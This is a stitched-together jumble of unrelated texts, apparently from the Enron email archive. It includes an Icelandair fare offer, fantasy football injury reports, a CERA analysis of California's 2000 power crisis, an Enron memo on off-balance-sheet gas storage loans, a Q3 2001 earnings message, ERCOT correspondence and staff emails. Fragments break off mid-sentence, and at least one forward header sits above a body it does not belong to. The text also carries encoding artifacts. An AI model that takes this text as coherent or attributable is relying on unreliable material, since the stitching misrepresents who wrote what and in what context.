London -  New York (JFK):.......................GBP:179.00

Outbound, December  - 2,5,6,9,10,11,12,13
Inbound,  December  - 3,4,5,6,8,9,10,12,13,16,17,18,24,30

*****************************************************************

These are return fares and are INCLUSIVE of International Airport taxes tha=
t=20
are approx. o56 to North America. These fares are only valid for travel in=
=20
November & December 2000 and are for Special Offer Club members only=01(

FOLLOWING RESTRICTIONS APPLY:

ONLY FOR TRAVEL ON THE ABOVE MENTIONED DAYS
You can only enjoy these special fares if you make your reservations before=
=20
06th December 2000.
No frequent flyer points.
No changes once ticket has been booked.
No refunds after ticket has been booked.
No child discount.
Minimum stay Saturday night.

These are available for UK SPECIAL OFFER CLUB members ONLY.

You can book these special offers by e-mailing us at:london@icelandair.is=
=20
with your name, address, preferred travel     date(s),daytime telephone=20
number and the best time to reach you.
Or you can use the link below to book these fares online.

https://www.icelandair.co.uk/main/view.jsp?branch=3D474293

Please note that seats are limited on this offer and will be sold on a firs=
t=20
come first serve basis.

These are fares originating from UK only =01) for information on LUCKY FARE=
S=20
originating in USA =01) check out www.icelandair.com and join the Special O=
ffer=20
Club there.

You can also find us at: http://www.icelandair.co.uk for
further information about the airline, our services and destinations!

That's all there is to it.  So don't wait=01(=01(.get LUCKY!

To stop receiving e-mail updates from the Netclub/Lucky Fares, please click=
=20
or cut and paste the link below.  When you have logged in click on Edit=20
Profile.  At the bottom of the form remove the checkmark where you are aske=
d=20
if you would like to receive e-mail notification of the Netclub offers. =20
Click on Update profile.

If you just wish to change your e-mail address, get Netclub/Lucky Fares fro=
m=20
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You can also send us an email, with unsubscribe in the subject line, to=20
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*******************************************************************

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o receive this exclusive offer. Ends 10/23/01.  Attention Fantasy Fans!  Su=
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tainless Steel Thermo-Bottle! HURRY!    Brought to you by   Sponsorship Bar=
 You are receiving these e-reports because you have signed up for CBS Sport=
sLine.com Fantasy Football.  To customize, reschedule, or turn off these re=
ports please  click here    Player Updates NFL Reports  [IMAGE]Latest NFL P=
layer News  Todd Heap , TE BAL - Free Agent Updated 10/18/01 Heap practiced=
 Wednesday but remains questionable for Sunday's game at Cleveland. Reserve=
 Heap on your roster this week. It would be wise to keep him inactive until=
 he is effective in a game.   Jeff Garcia , QB SF - The Guzzlers Updated 10=
/18/01 According to published reports, Garcia has been instructed not to pi=
ck up a football until the Niners begin practicing again next week. Garcia =
is dealing with a sore throwing elbow,! a! s well as a few other nagging bu=
mps and bruises. However, he's still expected to start in the 49ers' next g=
ame on Oct. 28 against Chicago.   Peerless Price , WR BUF - The Lie Downs U=
pdated 10/18/01 Price might post respectable numbers against the Jaguars. J=
acksonville's secondary is thin because of injuries.  Eric Moulds , WR BUF =
- Who's Yo Daddy Updated 10/18/01 Moulds might get in the end zone against =
Jacksonville. Look for the Bills to move him around often against the injur=
y-riddled Jaguars secondary.  Larry Centers , RB BUF -! T! he Guzzlers Upda=
ted 10/18/01 Centers has been Buffalo's most reliable receiver so far, but =
that trend might change against Jacksonville. Buffalo might look to attack =
an injury-riddled Jaguars secondary with passes to WR Peerless Price and TE=
 Jay Riemersma.  Drew Bledsoe , QB NE - The Executioners Updated 10/18/01 T=
here's a very slim chance Bledsoe will be in uniform as the emergency quart=
erback this week .     Bledsoe was upgraded from "out" to "doubtful" on the=
 injury report, but he's lost 15 pounds and hasn't been cleared to run, thr=
ow or be hit. He has pedaled a stationary bicycle and probably would just h=
and off the ball if Brady and No. 2 quarterback Damon Huard are sidelined. =
  Bledsoe's progress has been slower than he hoped and there's no timetable=
 for his return.   !   Tyrone Wheatley , RB OAK - One Man Show Updated 10/1=
8/01 Wheatley won't practice during the team's week off and could possibly =
miss the next game because of an injured right knee.          "Tyrone Wheat=
ley has a second degree - I don't know if it's a sprain or a tear - of his =
MCL,"' coach Jon Gruden said Wednesday.   Gruden called Wheatley questionab=
le for the Oct. 28 game at Philadelphia. He said he would learn more about =
the injury as the week progressed.   He disputed reports that Wheatley woul=
d be out four weeks.   "I would not agree with that at this time," Gruden s=
aid.     Chris Weinke , QB CAR - The Lie Downs Updated 10/18/01 Weinke sat =
out practice Wednesday and it's uncert! ai! n whether he will play in Washi=
ngton on Sunday because of a thigh injury. The injury is more serious than =
the Panthers first expected. Seifert said Monday that Weinke had a deep thi=
gh bruise, but expected him to practice Wednesday. Seifert said he didn't k=
now if Weinke would practice Thursday. Dameyune Craig would start if Weinke=
 cannot play.   Brian Griese , QB DEN - The Nice Machine Updated 10/18/01 G=
riese said Wednesday his sore shoulder has improved and he's confident he'l=
l play Sunday against San Diego.   Griese complained of shoulder soreness a=
fter a hit against the Kansas City Chiefs on Oct. 7. The problem was aggrav=
ated Sunday when he was slammed to the turf by Seattle Seahawks defensive e=
nd Lamar King.   Tests Monday showed no structural damage to his shoulder. =
    Redskins , DT WAS - Free Agent Updated 10/17/01 Cornerback Champ Bailey=
 missed practice on Wednesday due to a sprai! ne! d ankle, but he's expecte=
d to play on Sunday. Fred Smoot (leg), however, is in danger of missing thi=
s weekend's contest against Carolina. Darrell Green would replace Smoot if =
he's unable to go.   Rob Moore , WR ARI - Free Agent Updated 10/17/01 Moore=
 (hamstring) is listed as probable for Sunday's game against Kansas City. H=
e hasn't been full speed at practice, however, so don't be surprised if his=
 status is downgraded over the next two days.   Patrick Jeffers , WR CAR - =
oops, I did it again Updated 10/17/01 Jeffers (knees) saw extensive work in=
 practice today and may be ready to play this weekend against New Orleans. =
However, Jeffers is too risky to start from a Fantasy perspective.   Muhsin=
 Muhammad , WR CAR - The Nice Machine Updated 10/17/01 Muhammad's ribs are =
still sore after taking a few shots during Sunday's game against New Orlean=
s. Coach George Seifert expects him to play, but he may be somewhat limited=
. Unless his status improves by the end of the week, Fantasy owners may wan=
t to consider benching Muhammad if at all possible.   Chris Weinke , QB CAR=
 - The Lie Downs Updated 10/17/01 Weinke missed practice on Wednesday due t=
o a thigh injury. However, Head Coach George Seifert expects the rookie qua=
rterback to start on Sunday against Washington. If you need a quarterback t=
his week, Weinke is a good choice facing a terrible Redskins' defense. !  T=
erance Mathis , WR ATL - North Blvd Nutwhackers Updated 10/17/01 Mathis (ha=
nd) returned to practice on Wednesday. He is expected to start on Sunday ag=
ainst New Orleans, but he's only worth starting in deeper leagues from a Fa=
ntasy perspective.   Shawn Jefferson , WR ATL - Free Agent Updated 10/17/01=
 Jefferson (toe) returned to practice on Wednesday. He is expected to be in=
 the starting lineup on Sunday against New Orleans, but he's too unreliable=
 to use Fantasy-wise.   Ryan Leaf , QB DAL - Free Agent Updated 10/17/01!  =
Leaf worked with he first team offense during practice on Wednesday. He was=
 filling in for Anthony Wright, who was given the day off to rest his swoll=
en right knee. Leaf will have his chance to win the starting job in Dallas,=
 but he has no real Fantasy value at this time.   Troy Hambrick , RB DAL - =
Free Agent Updated 10/17/01 Now that Robert Thomas is gone for the year, Ha=
mbrick is expected to become Dallas' starting fullback. He's shown flashes =
of brilliance at times, but his value as a Fantasy player is still minimal =
at this point.   Michael Bennett , RB MIN - The Fat Bastards Updated 10! /1=
! 7/01 Bennett is listed as doubtful for Sunday's game against Green Bay du=
e to a right ankle injury. Expect Doug Chapman to get the start, with Travi=
s Prentice serving as his backup. Don't use Bennett this week.  Randy Moss =
, WR MIN - Meximullets Updated 10/17/01 Moss is listed as questionable for =
Sunday's game against Green Bay with a right ankle injury. While we normall=
y tell you to start him every week, this is one matchup we wouldn't activat=
e him for unless it becomes completely clear he will start.  Shane Matthews=
 , QB CHI - Free Agent Updated 10/17/01 The Bears re-signed Matthews on Tue=
sday. He returns to his old backup QB job and isn't worth adding to your Fa=
ntasy roster.  Terrell Davis , RB DEN - Meximullets Updated 10/17/01 Accord=
ing to published reports, Davis would like to return to the lineup Sunday a=
t San Diego. He has recovered from a knee injury, and Broncos Head Coach Mi=
ke Shanahan wants him to return by November 4. We don't recommend you use D=
avis this week, although this development also makes it tough to recommend =
you start any Broncos running back.  Stacey Mack , RB JAC - Thrill Kill Cul=
t Updated 10/17/01  Mack will get a lot of carries this week but don't expe=
ct him to be too productive. He only gained 17 yards on nine carries in the=
 Jaguars' previous.   Keenan McCardell , WR JAC - One Man Show Updated 10/1=
7/01 McCardell struggled in his first few games back from injury, but looke=
d like his old self in the previous game. Look for McCardell to play well t=
his week and catch a lot of passes.    Sean Dawkins , WR JAC - Free Agent U=
pdated 10/17/01 Dawkins will have a tough time against Buffalo this week. H=
e will catch of couple of passes but won't! f! ind his way into the end zon=
e.   Mark Brunell , QB JAC - The Nice Machine Updated 10/17/01 Brunell is n=
o longer being bothered by headaches and is expected to play in Week Six. L=
ook for him to throw for over 200 yards and a score.     Kyle Brady , TE JA=
C - One Man Show Updated 10/17/01 Brady is expected to play in this week's =
game despite a hip injury, and is listed as probable. He won't be too produ=
ctive if he does play. Brady only has five catches this season.   Jimmy Smi=
th , WR JAC - North Blvd Nutwhackers Updated 10/17/01 Smith has been very c=
onsistent this season. Look for him to catch several passes and score a tou=
chdown against Buffalo.  Herman Moore , WR DET - Free Agent Updated 10/17/0=
1 Moore will miss the remainder of the season after tearing a muscle in his=
 hip during Sunday's game at Minnesota. "We're disappointed the injury is m=
uch worse than we thought," Lions Head Coach Marty Mornhinweg said. "We bel=
ieved it was a minor pull, but the MRI showed a significant tear in the mus=
cle." Drop Moore if he was on your Fantasy team. Larry Foster assumes the N=
o. 3 receiver job in Detroit.  ! Ty! rone Wheatley , RB OAK - One Man Show =
Updated 10/17/01 According to published reports, Wheatley will miss three t=
o four weeks with a right knee sprain. The veteran back was beginning to lo=
se carries to Charlie Garner before he was hurt.  More Updates  Player News=
 Teams  [IMAGE]       [IMAGE] Select Team   [IMAGE]       [IMAGE] Please se=
lect a team above and click on GO.     [IMAGE]  Copyright 2001 Commissioner=
.COM Inc and SportsLine.com Inc. Your site can be reached from http://fanta=
sy.sportsline.com   FB10SP  =09

Gold Rose today?
---------------------- Forwarded by Kay Mann/Corp/Enron on 06/06/2001 07:25 
From: Mark E Haedicke@ECT on 06/05/2001 01:46 PM
Sent by: Janette Elbertson@ECT
To: Alan Aronowitz/HOU/ECT@ECT, Michelle Blaine/ENRON@enronXgate, Sandi M 
cc:  

Subject: Save the Date -- Star Wars:  The Magic of Myth

Would you wanna go see a movie or have a few beers or something? I have to 
stay out late tonight so I can get used to the new nighttime schedule and if 
I just sit at home i will fall asleep.  I am going to try and stay up really 
late and then sleep really late tommorow morning to prepare.

CERA Alert: December 13, 2000 

Title: California on the Brink 
CERA Knowledge Areas: Western Energy, N. American Power, N. American Gas 

CALIFORNIA ON THE BRINK 
The California Stalemate 
California moved closer to the brink of an outage today as concerns over 
credit-worthiness of buyers brought the possibility that generators would 
avoid selling to the California market. While numerous factors have 
contributed to the high cost of power incurred by California's utilities, the 
root cause of the current crisis is a lack of new generation. The current 
credit crisis and its threat to supplies could spark state action to address 
the situation. The collective efforts of all market participants should be 
focused on increasing generation capacity as quickly as possible.

Western power prices have skyrocketed well beyond the record levels set this 
summer. Perhaps because frozen rates insulate the majority of California 
consumers and companies from tangible effects of the market crisis, 
regulators have been able to postpone meaningful market reforms and 
significant rate increases. The California Public Utilities Commission denied 
the requests of Pacific Gas & Electric and Southern California Edison to end 
their rate freezes, forcing these utilities at least temporarily to finance 
the costs of higher wholesale energy. This has created an unsustainable 
accumulation of costs and a loss of faith in the California market. 

The current credit crisis and the potential for blackouts may become the 
galvanizing events that provide state regulators with a public mandate to 
address the underlying structural problems in the industry. However, there is 
no guarantee that these regulatory actions will expedite an effective 
solution for customers and the industry as a whole. Wholesale and retail 
markets that emerge from regulatory intervention are likely to remain 
muddled. In the necessarily political process that will follow, it is 
possible that-as has largely been the case so far-the steps taken will fail 
to move the California power market toward a more enduring solution and will 
instead continue to mask the underlying structural flaws. 

In the six months since California's supply shortfall began plaguing Western 
markets, regulators have done little to address the underlying problem. 
Rather than addressing the cause of the supply shortage-establishing a market 
environment that encourages timely additions of new generating capacity and 
demand side responses-efforts are instead directed at trying to lay blame for 
the crisis and lessen the immediate financial impact on customers. Indeed, 
several actions taken thus far have served more to compound the problem by 
discouraging new power plant additions. These include price caps, repeated 
changes to market rules, attempts to seize generator profits, and a 
challenging siting and permitting process.

Medicine Worse than the Illness 
Several years of electricity demand growth and low prices in California were 
accompanied by very few additions to the supply base. Regulators did not pay 
adequate attention to the looming supply shortfall. The void of consensus 
over the cause of the current crisis has instead been replaced by a series of 
bandaid remedies that address the symptoms, but not the cause, of 
California's electric market woes.* 

* Challenging siting and permitting. Despite state action to better 
coordinate the siting and permitting process for new power plants, power 
plant developers still face high hurdles. Local community opposition alone 
has struck down some key proposed facilities.

* Price caps discourage investment. State and federal proposals to cap prices 
limit the attractiveness of the California wholesale power market, especially 
for developers who have the option of channeling scarce capital and equipment 
to more stable or more attractive markets outside the state. 

* Repeated rule changes. Frequent rule changes in the ISO markets (including 
the price caps) confound attempts by developers to estimate profits from new 
plant development.

* Calls for refunds. Despite reports by the Power Exchange, the ISO, and the 
FERC that no pattern of abuse could be found from their examination of the 
California markets, state officials continue to accuse power providers of 
gaming the market. Calls by state officials for refunds of generator profits 
are a threat to new plant development.

* Facility inspections. Recent inspections of power plants by state officials 
to verify that operators are honestly reporting the operational status of 
their generating units accentuates the atmosphere of mistrust.

CERA's recent analysis suggests that merchant plant developers in the West 
are not guaranteed? to make a profit. Prospects of new plant profitability 
are affected by the timing and quantity of new plants, decommissioning of 
older units, demand growth, and numerous other difficult-to-forecast factors. 
California's regulatory actions only further cloud the assessment of 
financial viability and degrade the political environment for developers 
considering entering the state. 

Despite efforts by the California ISO to stimulate new capacity additions in 
the state with a special, limited-term capacity payment, CERA estimates that 
demand growth will continue to outstrip supply additions in the West in 2001. 
In addition, the existing siting and permitting process will prevent a 
sufficient quantity of capacity from entering the market until 2003 at the 
earliest. Therefore, three years remain before a sufficient quantity of 
capacity enters service to significantly dampen prices and decrease the risk 
of an outage. 

The Road to Recovery 
There are a number of actions that can be taken to help relieve the capacity 
shortfall: 

* Encourage new build. Supply must be part of the answer. This requires a 
series of steps that can help facilitate new supply build. While in principal 
some have been taken, such as new fast track approval, the success of these 
actions can only be measured by the build itself. For now, there is still not 
enough new supply coming on until 2003 to relieve supply tightness.? 

* Stabilize investment climate. Utilities must have assurance that they will 
ultimately be allowed to recover market costs for power. This provides the 
credit worthiness needed by sellers to produce energy and to stimulate new 
build.

* Move toward more balanced utility supply portfolios. One of the reasons the 
pressure on customers has been so intense in California has been the absence 
(and even discouragement) of diverse supply portfolios among the utilities in 
the state-particularly for residential and small commercial customers. With 
the market at a peak, however, now is in one sense a sub-optimal time to move 
toward term contracting. Yet these contracts provide the foundation for a 
series of actions-including new supply build and demand side investments. If 
they end up above market, they will at least have achieved the desired effect 
of knocking down prices, a fact which by itself should provide sufficient 
justification for recovering the cost of these commitments.

* Encourage market mechanisms that elicit a demand response. Although 
originally a feature of California's market design, most consumers are 
insulated from price spikes through capped or frozen retail rates. Exposing 
customers to at least some of the market price signals would encourage a 
demand response.

* Encourage market mechanisms that dampen the "Boom Bust" characteristic of 
the market. Whether in the form of a capacity payment, a reserve requirement, 
or a minimum term portfolio requirement, the California power market needs to 
move to a structure that encourages investment in new capacity when the 
market is in balance rather than waiting for a shortage and price shock to 
elicit new investment. Such a structure can help dampen (but not eliminate) 
future price volatility.

* Avoid continuously tinkering with the market. While the market does need to 
be restructured as described above, it also needs to be stable and reliable 
to encourage the development of new supply as well as a robust long-term 
contractual market for power in California. Continually tinkering with the 
market structure-such as the three times the price cap has been shifted since 
July-only serves to undermine confidence in the market. California needs to 
do its best to develop a long-term solution and then let the market run its 
course. 

* Allow for greater environmental flexibility. The state should explore a 
more balanced solution to emissions restrictions in the face of a supply 
shortfall that has been exacerbated by generators that cannot operate due to 
emissions restrictions. 

* Free PURPA power plants to generate. Relief should be granted to PURPA 
power plants that are operational, but are restricted by contract from 
operating to generate only power. 

**end** 

 The termination language is standard 30 day notice.

Debra.Perlingiere@enron.com

---------------------- Forwarded by David Baumbach/HOU/ECT on 11/14/2000 

Russ Porter@ENRON
11/13/2000 03:49 PM
To: Ceci Torn/TNPC/EES@EES, Todd Neugebaur, Reagan Mathews/Enron 
Communications@Enron Communications, Brandon Luna/Enron Communications@Enron 
Communications, James Armstrong/HOU/ECT@ECT, Billy Braddock/Enron 
Communications@Enron Communications, Mark Santikos/Enron Communications@Enron 
Communications, Bobby Oubre/GPGFIN/Enron@ENRON, David Baumbach/HOU/ECT@ECT
cc: Brad Mauritzen/HOU/EES@EES 
Subject: Aggie vs t.u. Flag Football

Lunch from August Moon will be arriving by 11:30 a.m. tomorrow for your dining pleasure, compliments of Tim Belden and Chris Calger for all your hard work.

---------------------- Forwarded by Mark Breese/HOU/ECT on 04/24/2001 11:22 
   
	Enron Capital Management
	
	From:  Mark Breese                           04/24/2001 10:54 AM
	
To: Bryant Frihart/ENRON@enronXgate, Sylvia S Pollan/Enron@EnronXGate, Laura 
Luce/Corp/Enron@Enron, Russell E Murrell/Corp/Enron@Enron@ECT, Di Mu/Enron 
Communications@Enron Communications, Gregg Penman/Corp/Enron@Enron@ECT, Cary 
M Carrabine/Corp/Enron@Enron@ECT, Robin Barbe/HOU/ECT@ECT, Ruth 
Concannon/HOU/ECT@ECT, Phil DeMoes/Corp/Enron@ENRON, Tammi 
DePaolis/Corp/Enron@ENRON, Nelson Ferries/Corp/Enron@ENRON, John 
Hodge/Corp/Enron@ENRON, David Jones/NA/Enron@ENRON, Gil 
Muhl/Corp/Enron@ENRON, John M Singer/Corp/Enron@ENRON, Maureen 
Smith/HOU/ECT@ECT, John Craig Taylor/HOU/ECT@ECT, Frank W 
Vickers/NA/Enron@Enron, Stephanie Miller/Corp/Enron@ENRON, Philip 
Polsky/NA/Enron@Enron, Kim Ward/HOU/ECT@ECT, Barry Tycholiz/NA/Enron@ENRON, 
Thomas A Martin/Enron@EnronXGate, Janet H Wallis/Enron@EnronXGate
cc: Joseph Deffner/Enron@EnronXGate, Tanya Rohauer/Enron@EnronXGate, Louise 
Kitchen/HOU/ECT@ECT, Ed McMichael/HOU/ECT@ECT 
Subject: Structure for Storage Loans / Deferred Payment Deals

The memo attached summarizes a structured deal that the market has shown some 
interest.  

Essentially, this deal allows an LDC to defer payment for gas and avoid 
carrying costs (which may result in a dollar for dollar benefit to your 
customer's bottom line).  

We have done two of these deals to date.  ENA has interest in additional 
deals (albeit not an infinite appetite) if the structure allows us to move 
them off the balance sheet.

Please review the memo and target any of your customers that may have an 
interest.  

Each deal will require a new quote from credit and from the cost of funds 
group.  Gas structuring is set up to structure these deals and develop them 
through to execution.  

Please call me with any questions at x36751

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	InfoBeat HomeUser Profile
	
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	Sunday, November 26, 2000
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	Since you've already got turkey on the brain from yesterday's heroic display 
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Have you checked with credit?  

	03/26/2001 03:42 PM
		 
		 To: Brent Hendry/NA/Enron@Enron, Sara Shackleton/HOU/ECT@ECT, Mark 
Taylor/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT, 
Mary Cook/HOU/ECT@ECT, Robert Bruce/NA/Enron@Enron, Tana Jones/HOU/ECT@ECT, 
Francisco Pinto Leite/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cheryl 
Nelson/NA/Enron@Enron, Frank Sayre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Anne 
C Koehler/HOU/ECT@ECT, Angela Davis/NA/Enron@Enron, Holly 
Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: 
		 Subject: Nicor Enerchange, LLC

Does anyone remember working on an ISDA Master between ENA and Nicor 
Enerchange, LLC.  They are saying that an agreement has been executed.  
However, our database shows that we received comments from them but nothing 
further.

Thanks,
Stephanie

Today, we announced our third quarter earnings results, which were right on target with analysts estimates for recurring earnings per diluted share of $0.43.  This marks a 26 percent increase over the third quarter of last year, which is due to the strong performance of our core wholesale and retail energy businesses and our natural gas pipelines.  In addition, we also announced that we are on track for our earnings target of $0.45 for the fourth quarter ($1.80 for 2001) and $2.15 for 2002.

We made a commitment to you that we would provide you with timely information about Enron's business strategy and performance, so this email is intended to provide an explanation about our earnings this quarter.

Over the past few months, we have met with analysts to discuss Enron's performance.  We received considerable feedback from investors and analysts that we needed to expand our financial reporting to include details for more of our business units.  In response to that feedback, we have provided results separately for several of our business units.  For example, while we have provided volume figures for North America and Europe, this is the first quarter we have provided financials separately for Enron Americas and for Europe and Other Commodities.  In addition, information about our global assets had previously been included in our numbers for Wholesale Services.  This quarter they are reported separately.   Finally, even though our broadband business is now part of Enron Wholesale Services, we are continuing to report that business separately.

Following are the highlights of our businesses:

Wholesale Services: Total income before interest, minority interests and taxes (IBIT) increased 28% to $754 million in the third quarter.  Total wholesale physical volumes increased 65% to 88.2 trillion British thermal units equivalent per day (Tbtue/d).
Americas: IBIT increased 31% to $701 million.  Natural gas volumes increased 6% to 26.7 Tbtu/d, and power volumes increased 77% to 290 million megawatt hours (MWh).
Europe and Other Commodity Markets: IBIT remained unchanged at $53 million as compared to last year.  While physical gas and power volumes increased, low volatility in these markets caused profitability to remain flat.

Retail Services: Enron Energy Services reported IBIT of $71 million, compared to $27 million a year ago.  So far this year, EES has completed more than 50 transactions with large customers and more than 95,000 deals with small business customers.

Transportation and Distribution:
	Natural Gas Pipelines: IBIT increased slightly to $85 million in the third quarter.
Portland General: We reported an IBIT loss of $(17) million this quarter compared to IBIT of $74 million a year ago.  This loss is due to power contracts PGE entered into at prices that were significantly higher than actual settled prices during the third quarter.  Last week, we  announced an agreement to sell PGE to Northwest Natural.  This transaction is expected to close next year.
Global Assets: This segment includes Elektro, Dabhol, TGS, Azurix and Enron Wind.  Third quarter IBIT remained unchanged at $19 million compared to last year.

Broadband Services: IBIT losses were $(80) million in the current quarter compared to a $(20) million loss last year.  This quarter's results include significantly lower investment-related income and lower operating costs.

Corporate and other: This segment includes the unallocated expenses associated with general corporate functions. This segment reported an IBIT loss of $(59) million compared to $(106) million a year ago.

In addition, this quarter we announced one-time charges of $1.01 billion.  Over the past few quarters, we have conducted a thorough  review of our businesses and have decided to take certain charges to clear away issues that have clouded the performance and earnings potential  of our core businesses.  These charges include:
?	A $287 million write-down of Azurix Corp.
?	$183 million associated with the restructuring of Broadband Services.  This includes severance costs, a loss on the sale of inventory like servers and routers, and a write-down of the value of our content services contracts due to the bankruptcy of a number of customers.
?	$544 million related to losses from certain investments, primarily Enron's interest in The New Power Company, broadband and technology investments and early termination of a structured finance arrangement.  

With our announcements this quarter we accomplished three things:  1) we showed continued strong earnings and earnings growth in our core businesses, 2) we cleared away those things that were clouding this superb performance in our core businesses, and 3) We expanded our reporting of financial results to increase transparency for our investors. To read the full earnings press release, go to www.enron.com/corp/pressroom/releases.

If you could send all further ERCOT updates to either Christi Nicolay or Jim Steffes, I would appreciate it.  THanks.

-Joe

From: 	"Richter, Tracy" <trichter@ercot.com>@ENRON  
Sent:	Friday, December 07, 2001 10:10 AM
To:	dharris1@txu.com
Cc:	Bergman, Karen; Parsons, Mark; Mingo, Sonja; Hafner, Allyson; joseph.wagner@enron.com; Richter, Tracy
Subject:	FW: Enron Energy Services drop to POLR (TXU TDSP)

We have not received the 814-04's from TXU on the 10 drops.  Please have them sent and email me when this has been done so that I can track them.
 
Tracy Richter
Registration Analyst
ERCOT 
(512)248-3874
trichter@ercot.com
 
From: Bergman, Karen 
Sent: Thursday, December 06, 2001 2:43 PM
To: Richter, Tracy
Subject: RE: Enron Energy Services drop to POLR (TXU TDSP)
 
Tracy - 
 
Can you check tomorrow morning that ERCOT received the 814_04 from TXU for these 10 drops?
 
Thanks
Karen
From: Richter, Tracy 
Sent: Wednesday, December 05, 2001 3:44 PM
To: Parsons, Mark; Hafner, Allyson; 'dharris1@txu.com'; 'joseph.wagner@enron.com'
Cc: Bergman, Karen; Mingo, Sonja; Brinegar, Craig; Kassel, John; Adams, Jack; McCarty, Mike; Richter, Tracy
Subject: Enron Energy Services drop to POLR (TXU TDSP)
Attached is a spreadsheet showing the 12 Enron Energy Services ESI-ID's.  Two of them have been cancelled.  There are 10 which we have received  the 814_10 and are In Review status.  
 
ERCOT 
tricher@ercot.com
 
Zimin,

I will make sure that you have the opportunity to present your contributions.
It makes also sense to ask Paulo every time to say a few words.

Vince

Zimin Lu
06/22/2000 10:06 AM
cc: Stinson Gibner/HOU/ECT@ECT 
Subject: Re: Improve Communication  

Vince,

Thanks for your reply.   That is what I feel too: Vince knows what we are 
doing, so he does not have to ask us again.

In another dimension,  I want to make sure that people like Paulo get enough 
incentive to perform.   The group meeting, I
think, will provide a sense of accomplishment when other members in the group 
know what we have been through.

Thanks again for your understanding.

Zimin

06/21/2000 06:30 PM
To: Zimin Lu/HOU/ECT@ECT

Zimin,

Sorry if you get this impression. The real reason is that I treat
the lunch meetings as an opportunity to get updates on things
that are going on at more remote locations. I interact with each of the
members of your group daily and I know what's going on.

I agree with you, however, that the lunch meetings are not exclusively
for my benefit,  but also for the benefit of  the other members of
the group. I shall make sure that you have the opportunity
to communicate  your contribution to the company.

Vince

Zimin Lu
06/20/2000 02:47 PM
To: Vince J Kaminski/HOU/ECT@ECT, Stinson Gibner/HOU/ECT@ECT
cc:  
Subject: Improve Communication

Vince and Stinson,

The valuation group has accomplished a lot during last six months.  The 
number of
projects we are working on is keeping increasing.   However, when comes to the
staff meeting (Thursday lunch meeting), we are often left out for updating 
our projects.
This makes me feel that what we are doing is no longer interesting or worth 
mentioning.

I am hoping that we can get  more exposure, despite we are still in the old 
economy.

Zimin

Please put this on my calendar.  I can't get this to print and it is too 
small for me to read!  
---------------------- Forwarded by Sally Beck/HOU/ECT on 11/14/2000 10:21 AM 

Stacy Weatherly@ENRON
11/14/2000 09:30 AM
To: Akasha Redrick/Corp/Enron@Enron, Andrew Zabriskie/Corp/Enron@ENRON, Anne 
Beliveaux/Corp/Enron@ENRON, Arshak Sarkissian/HOU/ECT@Enron Communications, 
Barbara Lewis/HOU/ECT@ECT, Ben Hill/HOU/ECT@ect, Betty 
Alexander/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Billy 
Lemmons/Corp/Enron@ENRON, Bobbie Power/Corp/Enron@ENRON, Brandee 
Jackson/NA/Enron@ENRON, Bridget Maronge/HOU/ECT@ECT, Carlean 
Stancil/NA/Enron@ENRON, Carmella Jones/NA/Enron@ENRON, Carol Ann Brown/Enron 
Communications@Enron Communications, Charles Upshaw/EPSC/HOU/ECT@ECT, Chris 
Constantine/HOU/ECT@ECT, Clara Carrington/HOU/ECT@ECT, Colin 
Reed/NA/Enron@ENRON, Danita Cole/Corp/Enron@Enron, Darlene C 
Forsyth/HOU/ECT@ECT, Darren P Adamik/HOU/ECT@ECT, Darren 
Delage/AP/Enron@Enron, Darren Maloney/Corp/Enron@ENRON, David A 
Cummings/HOU/ECT@ECT, David Maxwell/HOU/ECT@ECT, David J 
Vitrella/HOU/ECT@ECT, Dolores Sustaita/EPSC/HOU/ECT@ECT, Dorothy 
Barnes/Corp/Enron@ENRON, Dorothy Dalton/Enron Communications@Enron 
Communications, Elaine Brown/HOU/ECT@ECT, Ellen Su/Corp/Enron@Enron, Elsa 
Piekielniak/Corp/Enron@Enron, Eric Scott/HOU/ECT@ECT, Erin 
Willis/HOU/ECT@ECT, Esther Buckley/HOU/ECT@ECT, Farzad 
Farhangnia/HOU/ECT@ECT, Felecia Acevedo/Corp/Enron@ENRON, Gary 
Hickerson/HOU/ECT@ECT, Geraldine Irvine/HOU/ECT@ECT, Heather 
Choate/HOU/ECT@ECT, Jeff M Gray/NA/Enron@ENRON, Jeff Kinneman/HOU/ECT@ECT, 
James Shirley/HOU/EES@EES, Joan Quick/HOU/ECT@ECT, John Greene/LON/ECT@ECT, 
John D Reese/NA/Enron@Enron, John Weakly/Corp/Enron@ENRON, Jonathan 
Le/HOU/ECT@ECT, Joseph Koothrappaly/HOU/ECT@ECT, Judy G Smith/HOU/EES@EES, 
Karen K Heathman/HOU/ECT@ECT, Kate Lucas/HOU/ECT@ECT, Keith E 
Power/HOU/ECT@ECT, Kelly McCoy/HOU/ECT@ECT, Kelly Summers/HOU/ECT@ECT, Kelly 
Templeton/Corp/Enron@ENRON, Laura Mireles/Corp/Enron@ENRON, Laurel 
Adams/HOU/ECT@ECT, Leslie Peebles/Corp/Enron@Enron, Linda J 
Ewing/HOU/ECT@ECT, Liz M Taylor/HOU/ECT@ECT, Louis Allen/EPSC/HOU/ECT@ECT, 
Lynn Tippery/HOU/ECT@ECT, Madhur Dayal/HOU/ECT@ECT, Marcia 
Broom/EPSC/HOU/ECT@ECT, Maria Arefieva/NA/Enron@ENRON, Mark 
Slaughter/NA/Enron@Enron, Martha J Woytek/HOU/EES@EES, Matthew 
Jachimiak/HOU/ECT@ECT, Matthew Lippert/HOU/ECT@ECT, Mauricio 
Mora/NA/Enron@Enron, Maxine E Levingston/Corp/Enron@Enron, Michael W 
Bradley/HOU/ECT@ECT, Mike Brown/ENRON@enronxgate, Mike 
Fowler/Corp/Enron@ENRON, Mike Wagner, Nina Garcia/EPSC/HOU/ECT@ECT, Paige 
Cox/Corp/Enron, Pat Scarborough/EPSC/HOU/ECT@ECT, William Patrick 
Lewis/HOU/ECT@ECT, Paul Pizzolato/HOU/ECT@ECT, Phillip 
Daigle/Corp/Enron@Enron, Pushkar Shahi/ENRON@enronxgate, Reza 
Rezaeian/EU/Enron@ENRON, Richard Weeks/Enron Communications@Enron 
Communications, Rick Buy/HOU/ECT@ECT, Robert Knight/HOU/ECT@ECT, Rosalee 
Fleming/Corp/Enron@ENRON, Ruby Wagoner/HOU/ECT@ECT, Sally Beck/HOU/ECT@ECT, 
Sam Zeidan/EPSC/HOU/ECT@ECT, Sarah Lewis/GPGFIN/Enron@ENRON, Selena 
